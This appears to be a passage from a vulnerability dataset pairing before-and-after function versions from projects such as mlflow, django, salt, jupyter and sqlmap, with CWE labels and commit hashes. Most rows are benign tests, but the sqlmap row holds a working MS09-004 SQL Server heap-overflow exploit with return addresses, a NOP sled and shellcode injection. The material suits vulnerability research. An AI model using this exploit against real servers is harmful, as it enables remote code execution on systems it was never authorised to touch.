    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    # 10. any float -> any int raises
    pdf[""a""] = pdf[""a""].astype(np.float64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""a""] = pdf[""a""].astype(np.int32)
    pdf[""b""] = pdf[""b""].astype(np.float64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""b""] = pdf[""b""].astype(np.int64)

    pdf[""b""] = pdf[""b""].astype(np.float64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    pdf[""b""] = pdf[""b""].astype(np.int64)
    assert ""Incompatible input types"" in str(ex)

    # 11. objects work
    pdf[""b""] = pdf[""b""].astype(np.object)
    pdf[""d""] = pdf[""d""].astype(np.object)
    pdf[""e""] = pdf[""e""].astype(np.object)
    pdf[""f""] = pdf[""f""].astype(np.object)
    pdf[""g""] = pdf[""g""].astype(np.object)
    res = pyfunc_model.predict(pdf)
    assert res.dtypes.to_dict() == expected_types

    # 12. datetime64[D] (date only) -> datetime64[x] works
    pdf[""h""] = pdf[""h""].astype(""datetime64[D]"")
    res = pyfunc_model.predict(pdf)
    assert res.dtypes.to_dict() == expected_types
    pdf[""h""] = pdf[""h""].astype(""datetime64[s]"")

    # 13. np.ndarrays can be converted to dataframe but have no columns
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf.values)
    assert ""Model is missing inputs"" in str(ex)

    # 14. dictionaries of str -> list/nparray work
    arr = np.array([1, 2, 3])
    d = {
        ""a"": arr.astype(""int32""),
        ""b"": arr.astype(""int64""),
        ""c"": arr.astype(""float32""),
        ""d"": arr.astype(""float64""),
        ""e"": [True, False, True],
        ""g"": [""a"", ""b"", ""c""],
        ""f"": [bytes(0), bytes(1), bytes(1)],
        ""h"": np.array([""2020-01-01"", ""2020-02-02"", ""2020-03-03""], dtype=np.datetime64),
    }
    res = pyfunc_model.predict(d)
    assert res.dtypes.to_dict() == expected_types

    # 15. dictionaries of str -> list[list] fail
    d = {
        ""a"": [arr.astype(""int32"")],
        ""b"": [arr.astype(""int64"")],
        ""c"": [arr.astype(""float32"")],
        ""d"": [arr.astype(""float64"")],
        ""e"": [[True, False, True]],
        ""g"": [[""a"", ""b"", ""c""]],
        ""f"": [[bytes(0), bytes(1), bytes(1)]],
        ""h"": [np.array([""2020-01-01"", ""2020-02-02"", ""2020-03-03""], dtype=np.datetime64)],
    }
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(d)
    assert ""Incompatible input types"" in str(ex)

    # 16. conversion to dataframe fails
    d = {
        ""a"": [1],
        ""b"": [1, 2],
        ""c"": [1, 2, 3],
    }
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(d)
    assert ""This model contains a column-based signature, which suggests a DataFrame input."" in str(
        ex
    )",CWE-703,mlflow/mlflow,3b49b28af0660a21340835b1031b6f48ae55e261,"def test_column_schema_enforcement():
    m = Model()
    input_schema = Schema(
        [
            ColSpec(""integer"", ""a""),
            ColSpec(""long"", ""b""),
            ColSpec(""float"", ""c""),
            ColSpec(""double"", ""d""),
            ColSpec(""boolean"", ""e""),
            ColSpec(""string"", ""g""),
            ColSpec(""binary"", ""f""),
        ]
    )
    m.signature = ModelSignature(inputs=input_schema)
    pyfunc_model = PyFuncModel(model_meta=m, model_impl=TestModel())
    pdf = pd.DataFrame(
        data=[[1, 2, 3, 4, True, ""x"", bytes([1])]],
        columns=[""b"", ""d"", ""a"", ""c"", ""e"", ""g"", ""f""],
        dtype=np.object,
    )
    pdf[""a""] = pdf[""a""].astype(np.int32)
    pdf[""b""] = pdf[""b""].astype(np.int64)
    pdf[""c""] = pdf[""c""].astype(np.float32)
    pdf[""d""] = pdf[""d""].astype(np.float64)
    # test that missing column raises
    with pytest.raises(MlflowException) as ex:
        res = pyfunc_model.predict(pdf[[""b"", ""d"", ""a"", ""e"", ""g"", ""f""]])
    assert ""Model is missing inputs"" in str(ex)

    # test that extra column is ignored
    pdf[""x""] = 1

    # test that columns are reordered, extra column is ignored
    res = pyfunc_model.predict(pdf)
    assert all((res == pdf[input_schema.input_names()]).all())

    expected_types = dict(zip(input_schema.input_names(), input_schema.pandas_types()))
    actual_types = res.dtypes.to_dict()
    assert expected_types == actual_types

    # Test conversions
    # 1. long -> integer raises
    pdf[""a""] = pdf[""a""].astype(np.int64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""a""] = pdf[""a""].astype(np.int32)
    # 2. integer -> long works
    pdf[""b""] = pdf[""b""].astype(np.int32)
    res = pyfunc_model.predict(pdf)
    assert all((res == pdf[input_schema.input_names()]).all())
    assert res.dtypes.to_dict() == expected_types
    pdf[""b""] = pdf[""b""].astype(np.int64)

    # 3. unsigned int -> long works
    pdf[""b""] = pdf[""b""].astype(np.uint32)
    res = pyfunc_model.predict(pdf)
    assert all((res == pdf[input_schema.input_names()]).all())
    assert res.dtypes.to_dict() == expected_types
    pdf[""b""] = pdf[""b""].astype(np.int64)

    # 4. unsigned int -> int raises
    pdf[""a""] = pdf[""a""].astype(np.uint32)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""a""] = pdf[""a""].astype(np.int32)

    # 5. double -> float raises
    pdf[""c""] = pdf[""c""].astype(np.float64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""c""] = pdf[""c""].astype(np.float32)

    # 6. float -> double works, double -> float does not
    pdf[""d""] = pdf[""d""].astype(np.float32)
    res = pyfunc_model.predict(pdf)
    assert res.dtypes.to_dict() == expected_types
    assert ""Incompatible input types"" in str(ex)
    pdf[""d""] = pdf[""d""].astype(np.float64)
    pdf[""c""] = pdf[""c""].astype(np.float64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""c""] = pdf[""c""].astype(np.float32)

    # 7. int -> float raises
    pdf[""c""] = pdf[""c""].astype(np.int32)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""c""] = pdf[""c""].astype(np.float32)

    # 8. int -> double works
    pdf[""d""] = pdf[""d""].astype(np.int32)
    pyfunc_model.predict(pdf)
    assert all((res == pdf[input_schema.input_names()]).all())
    assert res.dtypes.to_dict() == expected_types

    # 9. long -> double raises
    pdf[""d""] = pdf[""d""].astype(np.int64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""d""] = pdf[""d""].astype(np.float64)

    # 10. any float -> any int raises
    pdf[""a""] = pdf[""a""].astype(np.float32)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    # 10. any float -> any int raises
    pdf[""a""] = pdf[""a""].astype(np.float64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""a""] = pdf[""a""].astype(np.int32)
    pdf[""b""] = pdf[""b""].astype(np.float64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    assert ""Incompatible input types"" in str(ex)
    pdf[""b""] = pdf[""b""].astype(np.int64)

    pdf[""b""] = pdf[""b""].astype(np.float64)
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf)
    pdf[""b""] = pdf[""b""].astype(np.int64)
    assert ""Incompatible input types"" in str(ex)

    # 11. objects work
    pdf[""b""] = pdf[""b""].astype(np.object)
    pdf[""d""] = pdf[""d""].astype(np.object)
    pdf[""e""] = pdf[""e""].astype(np.object)
    pdf[""f""] = pdf[""f""].astype(np.object)
    pdf[""g""] = pdf[""g""].astype(np.object)
    res = pyfunc_model.predict(pdf)
    assert res.dtypes.to_dict() == expected_types

    # 8. np.ndarrays can be converted to dataframe but have no columns
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(pdf.values)
    assert ""Model is missing inputs"" in str(ex)

    # 9. dictionaries of str -> list/nparray work
    arr = np.array([1, 2, 3])
    d = {
        ""a"": arr.astype(""int32""),
        ""b"": arr.astype(""int64""),
        ""c"": arr.astype(""float32""),
        ""d"": arr.astype(""float64""),
        ""e"": [True, False, True],
        ""g"": [""a"", ""b"", ""c""],
        ""f"": [bytes(0), bytes(1), bytes(1)],
    }
    res = pyfunc_model.predict(d)
    assert res.dtypes.to_dict() == expected_types

    # 10. dictionaries of str -> list[list] fail
    d = {
        ""a"": [arr.astype(""int32"")],
        ""b"": [arr.astype(""int64"")],
        ""c"": [arr.astype(""float32"")],
        ""d"": [arr.astype(""float64"")],
        ""e"": [[True, False, True]],
        ""g"": [[""a"", ""b"", ""c""]],
        ""f"": [[bytes(0), bytes(1), bytes(1)]],
    }
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(d)
    assert ""Incompatible input types"" in str(ex)

    # 11. conversion to dataframe fails
    d = {
        ""a"": [1],
        ""b"": [1, 2],
        ""c"": [1, 2, 3],
    }
    with pytest.raises(MlflowException) as ex:
        pyfunc_model.predict(d)
    assert ""This model contains a column-based signature, which suggests a DataFrame input."" in str(
        ex
    )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/multiple_database/tests.py,0,"def test_generic_key_cross_database_protection(self):
        ""Operations that involve sharing generic key objects across databases raise an error""
        # Create a book and author on the default database
        pro = Book.objects.create(title=""Pro Django"", published=datetime.date(2008, 12, 16))
        review1 = Review.objects.create(source=""Python Monthly"", content_object=pro)

        # Create a book and author on the other database
        dive = Book.objects.using('other').create(title=""Dive into Python"", published=datetime.date(2009, 5, 4))

        Review.objects.using('other').create(source=""Python Weekly"", content_object=dive)

        # Set a foreign key with an object from a different database
        msg = (
            'Cannot assign ""<ContentType: multiple_database | book>"": the '
            'current database router prevents this relation.'
        )
        with self.assertRaisesMessage(ValueError, msg):
            review1.content_object = dive

        # Add to a foreign key set with an object from a different database
        msg = (
            ""<Review: Python Monthly> instance isn't saved. ""
            ""Use bulk=False or save the object first.""
        )
        with self.assertRaisesMessage(ValueError, msg):
            with transaction.atomic(using='other'):
                dive.reviews.add(review1)

        # BUT! if you assign a FK object when the base object hasn't
        # been saved yet, you implicitly assign the database for the
        # base object.
        review3 = Review(source=""Python Daily"")
        # initially, no db assigned
        self.assertIsNone(review3._state.db)

        # Dive comes from 'other', so review3 is set to use 'other'...
        review3.content_object = dive
        self.assertEqual(review3._state.db, 'other')
        # ... but it isn't saved yet
        self.assertEqual(
            list(Review.objects.using('default').filter(object_id=pro.pk).values_list('source', flat=True)),
            ['Python Monthly']
        )
        self.assertEqual(
            list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
            ['Python Weekly']
        )

        # When saved, John goes to 'other'
        review3.save()
        self.assertEqual(
            list(Review.objects.using('default').filter(object_id=pro.pk).values_list('source', flat=True)),
            ['Python Monthly']
        )
        self.assertEqual(
            list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
            ['Python Daily', 'Python Weekly']
        )",CWE-Unknown,django/django,48c17807a99f7a4341c74db19e16a37b010827c2,"def test_generic_key_cross_database_protection(self):
        ""Operations that involve sharing generic key objects across databases raise an error""
        # Create a book and author on the default database
        pro = Book.objects.create(title=""Pro Django"", published=datetime.date(2008, 12, 16))
        review1 = Review.objects.create(source=""Python Monthly"", content_object=pro)

        # Create a book and author on the other database
        dive = Book.objects.using('other').create(title=""Dive into Python"", published=datetime.date(2009, 5, 4))

        Review.objects.using('other').create(source=""Python Weekly"", content_object=dive)

        # Set a foreign key with an object from a different database
        msg = (
            'Cannot assign ""<ContentType: book>"": the current database router '
            'prevents this relation.'
        )
        with self.assertRaisesMessage(ValueError, msg):
            review1.content_object = dive

        # Add to a foreign key set with an object from a different database
        msg = (
            ""<Review: Python Monthly> instance isn't saved. ""
            ""Use bulk=False or save the object first.""
        )
        with self.assertRaisesMessage(ValueError, msg):
            with transaction.atomic(using='other'):
                dive.reviews.add(review1)

        # BUT! if you assign a FK object when the base object hasn't
        # been saved yet, you implicitly assign the database for the
        # base object.
        review3 = Review(source=""Python Daily"")
        # initially, no db assigned
        self.assertIsNone(review3._state.db)

        # Dive comes from 'other', so review3 is set to use 'other'...
        review3.content_object = dive
        self.assertEqual(review3._state.db, 'other')
        # ... but it isn't saved yet
        self.assertEqual(
            list(Review.objects.using('default').filter(object_id=pro.pk).values_list('source', flat=True)),
            ['Python Monthly']
        )
        self.assertEqual(
            list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
            ['Python Weekly']
        )

        # When saved, John goes to 'other'
        review3.save()
        self.assertEqual(
            list(Review.objects.using('default').filter(object_id=pro.pk).values_list('source', flat=True)),
            ['Python Monthly']
        )
        self.assertEqual(
            list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
            ['Python Daily', 'Python Weekly']
        )"
,UNKNOWN,UNKNOWN,salt/serializers/yamlex.py,1,"def deserialize(stream_or_string, **options):
    '''
    Deserialize any string of stream like object into a Python data structure.

    :param stream_or_string: stream or string to deserialize.
    :param options: options given to lower yaml module.
    '''

    options.setdefault('Loader', Loader)
    try:
        return yaml.load(stream_or_string, **options)
    except ScannerError as error:
        log.exception('Error encountered while deserializing')
        err_type = ERROR_MAP.get(error.problem, 'Unknown yaml render error')
        line_num = error.problem_mark.line + 1
        raise DeserializationError(err_type,
                                   line_num,
                                   error.problem_mark.buffer)
    except ConstructorError as error:
        log.exception('Error encountered while deserializing')
        raise DeserializationError(error)
    except Exception as error:
        log.exception('Error encountered while deserializing')
        raise DeserializationError(error)",CWE-20,saltstack/salt,bbff277d388ff11b43f610e5c473e91d6d286f83,"def deserialize(stream_or_string, **options):
    '''
    Deserialize any string of stream like object into a Python data structure.

    :param stream_or_string: stream or string to deserialize.
    :param options: options given to lower yaml module.
    '''

    options.setdefault('Loader', Loader)
    try:
        return yaml.load(stream_or_string, **options)
    except ScannerError as error:
        err_type = ERROR_MAP.get(error.problem, 'Unknown yaml render error')
        line_num = error.problem_mark.line + 1
        raise DeserializationError(err_type,
                                   line_num,
                                   error.problem_mark.buffer)
    except ConstructorError as error:
        raise DeserializationError(error)
    except Exception as error:
        raise DeserializationError(error)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/kernels/tests/test_kernels_api.py,0,"def test_default_kernel(self):
        # POST request
        r = self.kern_api._req('POST', '')
        kern1 = r.json()
        self.assertEqual(r.headers['location'], url_path_join(self.url_prefix, 'api/kernels', kern1['id']))
        self.assertEqual(r.status_code, 201)
        self.assertIsInstance(kern1, dict)

        report_uri = url_path_join(self.url_prefix, 'api/security/csp-report')
        expected_csp = '; '.join([
            ""frame-ancestors 'self'"",
            'report-uri ' + report_uri,
            ""default-src 'none'""
        ])
        self.assertEqual(r.headers['Content-Security-Policy'], expected_csp)",,jupyter/notebook,8de725a8de84580591ce690e94fc971410e087e8,"def test_default_kernel(self):
        # POST request
        r = self.kern_api._req('POST', '')
        kern1 = r.json()
        self.assertEqual(r.headers['location'], '/api/kernels/' + kern1['id'])
        self.assertEqual(r.status_code, 201)
        self.assertIsInstance(kern1, dict)

        self.assertEqual(r.headers['Content-Security-Policy'], (
                            ""frame-ancestors 'self'; ""
                            ""report-uri /api/security/csp-report; ""
                            ""default-src 'none'""
        ))"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/fileio.py,0,"def atomic_writing(path, text=True, encoding='utf-8', **kwargs):
    """"""Context manager to write to a file only if the entire write is successful.
    
    This works by copying the previous file contents to a temporary file in the
    same directory, and renaming that file back to the target if the context
    exits with an error. If the context is successful, the new data is synced to
    disk and the temporary file is removed.
    
    Parameters
    ----------
    path : str
      The target file to write to.
     
    text : bool, optional
      Whether to open the file in text mode (i.e. to write unicode). Default is
      True.
    
    encoding : str, optional
      The encoding to use for files opened in text mode. Default is UTF-8.
     
    **kwargs
      Passed to :func:`io.open`.
    """"""
    # realpath doesn't work on Windows: http://bugs.python.org/issue9949
    # Luckily, we only need to resolve the file itself being a symlink, not
    # any of its directories, so this will suffice:
    if os.path.islink(path):
        path = os.path.join(os.path.dirname(path), os.readlink(path))

    dirname, basename = os.path.split(path)
    # The .~ prefix will make Dropbox ignore the temporary file.
    tmp_path = os.path.join(dirname, '.~'+basename)
    if os.path.isfile(path):
        shutil.copy2(path, tmp_path)

    if text:
        # Make sure that text files have Unix linefeeds by default
        kwargs.setdefault('newline', '\n')
        fileobj = io.open(path, 'w', encoding=encoding, **kwargs)
    else:
        fileobj = io.open(path, 'wb', **kwargs)

    try:
        yield fileobj
    except:
        # Failed! Move the backup file back to the real path to avoid corruption
        fileobj.close()
        if os.name == 'nt' and os.path.exists(path):
            # Rename over existing file doesn't work on Windows
            os.remove(path)
        os.rename(tmp_path, path)
        raise

    # Flush to disk
    fileobj.flush()
    os.fsync(fileobj.fileno())
    fileobj.close()

    # Written successfully, now remove the backup copy
    if os.path.isfile(tmp_path):
        os.remove(tmp_path)",,jupyter/notebook,83367684e10895e1e645f646529c4d1a6dfb8cd4,"def atomic_writing(path, text=True, encoding='utf-8', **kwargs):
    """"""Context manager to write to a file only if the entire write is successful.
    
    This works by copying the previous file contents to a temporary file in the
    same directory, and renaming that file back to the target if the context
    exits with an error. If the context is successful, the new data is synced to
    disk and the temporary file is removed.
    
    Parameters
    ----------
    path : str
      The target file to write to.
     
    text : bool, optional
      Whether to open the file in text mode (i.e. to write unicode). Default is
      True.
    
    encoding : str, optional
      The encoding to use for files opened in text mode. Default is UTF-8.
     
    **kwargs
      Passed to :func:`io.open`.
    """"""
    # realpath doesn't work on Windows: http://bugs.python.org/issue9949
    # Luckily, we only need to resolve the file itself being a symlink, not
    # any of its directories, so this will suffice:
    if os.path.islink(path):
        path = os.path.join(os.path.dirname(path), os.readlink(path))

    dirname, basename = os.path.split(path)
    # The .~ prefix will make Dropbox ignore the temporary file.
    tmp_path = os.path.join(dirname, '.~'+basename)
    if os.path.isfile(path):
        shutil.copy2(path, tmp_path)

    if text:
        fileobj = io.open(path, 'w', encoding=encoding, **kwargs)
    else:
        fileobj = io.open(path, 'wb', **kwargs)

    try:
        yield fileobj
    except:
        # Failed! Move the backup file back to the real path to avoid corruption
        fileobj.close()
        if os.name == 'nt' and os.path.exists(path):
            # Rename over existing file doesn't work on Windows
            os.remove(path)
        os.rename(tmp_path, path)
        raise

    # Flush to disk
    fileobj.flush()
    os.fsync(fileobj.fileno())
    fileobj.close()

    # Written successfully, now remove the backup copy
    if os.path.isfile(tmp_path):
        os.remove(tmp_path)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/mssqlserver/takeover.py,0,"def spHeapOverflow(self):
        """"""
        References:
        * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
        * http://support.microsoft.com/kb/959420
        """"""

        returns = {
                    # 2003 Service Pack 0
                    ""2003-0"": (""""),

                    # 2003 Service Pack 1
                    ""2003-1"": (""CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)"", ""CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)"", ""CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)"", ""CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"", ""CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"" ),

                    # 2003 Service Pack 2 updated at 12/2008
                    #""2003-2"": (""CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)"", ""CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)"", ""CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"", ""CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"" ),

                    # 2003 Service Pack 2 updated at 05/2009
                    ""2003-2"": (""CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)"", ""CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)"", ""CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"", ""CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)""),

                    # 2003 Service Pack 2 updated at 09/2009
                    #""2003-2"": (""CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)"", ""CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)"", ""CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)"", ""CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"", ""CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)""),
                  }
        addrs = None

        for versionSp, data in returns.items():
            version, sp = versionSp.split(""-"")
            sp = int(sp)

            if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp:
                addrs = data

                break

        if not addrs:
            errMsg = ""sqlmap can not exploit the stored procedure buffer ""
            errMsg += ""overflow because it does not have a valid return ""
            errMsg += ""code for the underlying operating system (Windows ""
            errMsg += ""%s Service Pack %d)"" % (Backend.getOsVersion(), Backend.getOsServicePack())
            raise SqlmapUnsupportedFeatureException(errMsg)

        shellcodeChar = """"
        hexStr = binascii.hexlify(self.shellcodeString[:-1])

        for hexPair in xrange(0, len(hexStr), 2):
            shellcodeChar += ""CHAR(0x%s)+"" % hexStr[hexPair:hexPair + 2]

        shellcodeChar = shellcodeChar[:-1]

        self.spExploit = """"""DECLARE @buf NVARCHAR(4000),
        @val NVARCHAR(4),
        @counter INT
        SET @buf = '
        DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
        EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
        SET @val = CHAR(0x41)
        SET @counter = 0
        WHILE @counter < 3320
        BEGIN
          SET @counter = @counter + 1
          IF @counter = 411
          BEGIN
            /* pointer to call [ecx+8] */
            SET @buf = @buf + %s

            /* push ebp, pop esp, ret 4 */
            SET @buf = @buf + %s

            /* push ecx, pop esp, pop ebp, retn 8 */
            SET @buf = @buf + %s

            /* Garbage */
            SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)

            /* retn 1c */
            SET @buf = @buf + %s

            /* retn 1c */
            SET @buf = @buf + %s

            /* anti DEP */
            SET @buf = @buf + %s

            /* jmp esp */
            SET @buf = @buf + %s

            /* jmp esp */
            SET @buf = @buf + %s

            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)

            set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
            set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
            set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)

            /* Metasploit shellcode */
            SET @buf = @buf + %s

            SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
            SET @counter = @counter + 302
            SET @val =  CHAR(0x43)
            CONTINUE
          END
          SET @buf = @buf + @val
        END
        SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
        EXEC master..sp_executesql @buf
        """""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)

        self.spExploit = self.spExploit.replace(""    "", """").replace(""\n"", "" "")

        logger.info(""triggering the buffer overflow vulnerability, please wait.."")
        inject.goStacked(self.spExploit, silent=True)",,sqlmapproject/sqlmap,5d068896a95fa61d1bfbb4263a10701764d45091,"def spHeapOverflow(self):
        """"""
        References:
        * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
        * http://support.microsoft.com/kb/959420
        """"""

        returns = {
                    # 2003 Service Pack 0
                    ""2003-0"": (""""),

                    # 2003 Service Pack 1
                    ""2003-1"": (""CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)"", ""CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)"", ""CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)"", ""CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"", ""CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"" ),

                    # 2003 Service Pack 2 updated at 12/2008
                    #""2003-2"": (""CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)"", ""CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)"", ""CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"", ""CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"" ),

                    # 2003 Service Pack 2 updated at 05/2009
                    ""2003-2"": (""CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)"", ""CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)"", ""CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"", ""CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)""),

                    # 2003 Service Pack 2 updated at 09/2009
                    #""2003-2"": (""CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)"", ""CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)"", ""CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)"", ""CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"", ""CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)""),
                  }
        addrs = None

        for versionSp, data in returns.items():
            version, sp = versionSp.split(""-"")
            sp = int(sp)

            if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp:
                addrs = data

                break

        if addrs is None:
            errMsg = ""sqlmap can not exploit the stored procedure buffer ""
            errMsg += ""overflow because it does not have a valid return ""
            errMsg += ""code for the underlying operating system (Windows ""
